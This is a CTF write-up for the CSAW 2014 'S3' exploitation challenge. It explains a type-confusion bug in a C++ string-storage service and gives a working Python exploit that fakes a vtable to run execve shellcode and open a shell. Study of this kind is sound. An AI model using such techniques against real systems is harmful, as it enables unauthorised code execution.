CSAW CTF Quals 2014 - S3 - Exploitation 300 - [Team SegFault]

For this challenge we got a Linux 64-bit ELF executable [C++ code]. ASLR was enabled in the remote machine and NX disabled in executable. The executable is simply, it could store counted and NUL terminated string. Stored strings could also be updated and read using <id>

```
Welcome to Amazon S3 (String Storage Service)

    c <type> <string> - Create the string <string> as <type>
                        Types are:
                            0 - NULL-Terminated String
                            1 - Counted String
    r <id>            - Read the string referenced by <id>
    u <id> <string>   - Update the string referenced by <id> to <string>
    d <id>            - Destroy the string referenced by <id>
    x                 - Exit Amazon S3
```

Below is the data structure for storing Counted String:

```
24 Bytes
 _____________________
|  Ptr to ObjectA [ID] |
|_____________________|
|   Type [Counted][1]  |
|_____________________|
|   Ptr to ObjectA     |
|_____________________|


24 Bytes - ObjectA
_____________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|
```

and for NUL-Terminated String:

```
24 Bytes
 _____________________
|  Ptr to String[ID]   |
|_____________________|
|    Type [NUL][0]     |
|_____________________|
|  Ptr to UserString   |
|_____________________|
```

The vulnerability is in UpdateString feature, it doesn't check for Counted String or NUL-terminated string. Directly treats update of Counted String as handling a NUL-Terminated string and updates Ptr to ObjectA with Ptr ot UserString, but leaves the Type field as such.

```
24 Bytes - After Update
 _____________________
|Ptr to UserString[ID] |
|_____________________|
|   Type [Counted][1]  |
|_____________________|
|  Ptr to UserString   |
|_____________________|


24 Bytes - Old ObjectA
```

```
 _____________________
|       VTABLE        |
|_____________________|
|   Size of String    |
|_____________________|
|   Ptr to String     |
|_____________________|

UserString:
 _____________________
|       AAAAAAAA      |
|_____________________|
|       BBBBBBBB      |
|_____________________|
|       ........      |
|_____________________|
```

During read operation, the type of string is checked. If its a Counted String, the Ptr to Object is read and functions in VTABLE are called. But after update operation, the Ptr to Object points to Ptr to UserString with type still set to Counted. This means first 8 bytes of user string will be considered as pointer to VTABLE.

If we could fake VTABLE with pointer to shellcode, then we have control of program. Absence of NX and string ID returned to users being pointers to heap memory, we could easily achieve this.

```
> c 1 AAAAA
Program received signal SIGALRM, Alarm clock.
AAA
Your stored string's unique identifier is: 6320176
> c 1
Your stored string's unique identifier is: 6320384
> u 6320384 BBBBBBBB
Your stored string's new unique identifier is: 6320240
> r 6320240

Program received signal SIGSEGV, Segmentation fault.

   0x4019cb: mov    QWORD PTR [rbp-0x50],rdi
   0x4019cf: mov    rdi,rax
   0x4019d2: mov    rax,QWORD PTR [rbp-0x50]
=> 0x4019d6: call   QWORD PTR [rax+0x10]
   0x4019d9: add    eax,0x1

gdb-peda$ info registers
rax            0x4242424242424242 0x4242424242424242
```

We could notice that, a Counted String object could be directly provided as fake VTABLE as [Object+0x10] is a pointer to user controlled string which will be our shellcode.

So the idea of exploit is:
[*] Create two Counted String - ObjectA and ObjectB
[*] ObjectA will have pointer to shellcode supplied as string
[*] Update ObjectB with a new string, this string will be considered as an object due to type confusion
[*] Read ObjectB to trigger the vulnerability
[*] Syscall alarm(0) will disable signal

Below is the exploit:

```
#!/usr/bin/env python

import re
import time
import struct
import telnetlib
import shellcode
```

```
8.
9.  ip = "127.0.0.1"
10. #ip = "54.165.225.121"
11. port = 5333
12.
13. def GetAddress(string): return re.search('[0-9]{8}', string).group()
14.
15. soc = telnetlib.Telnet(ip, port)
16. time.sleep(2)
17. soc.read_very_eager()
18.
19. # First ObjectA
20. soc.write('c 1 ' + shellcode.SIGALRM + shellcode.EXECVE + '\n')
21. ID = soc.read_until('> ')
22. ObjectA = int(GetAddress(ID))
23. print '[*] Created counted string at %s' % hex(ObjectA)
24.
25. # Second ObjectB
26. soc.write('c 1\n')
27. ID =  soc.read_until('> ')
28. ObjectB = int(GetAddress(ID))
29. print '[*] Created counted string at %s' % hex(ObjectB)
30.
31. # Updating ObjectB
32. VTABLE  = struct.pack('<Q', ObjectA)
33. soc.write('u ' + str(ObjectB) + ' ' + VTABLE + '\n')
34. ID =  soc.read_until('> ')
35. UpdatedObjectB = int(GetAddress(ID))
36. print '[*] Updated object at %s' % hex(UpdatedObjectB)
37.
38. # Triggering vuln
39. soc.write('r ' + str(UpdatedObjectB) + '\n')
40. soc.interact()
```

Flag for the challenge is **flag{SimplyStupidStorage}**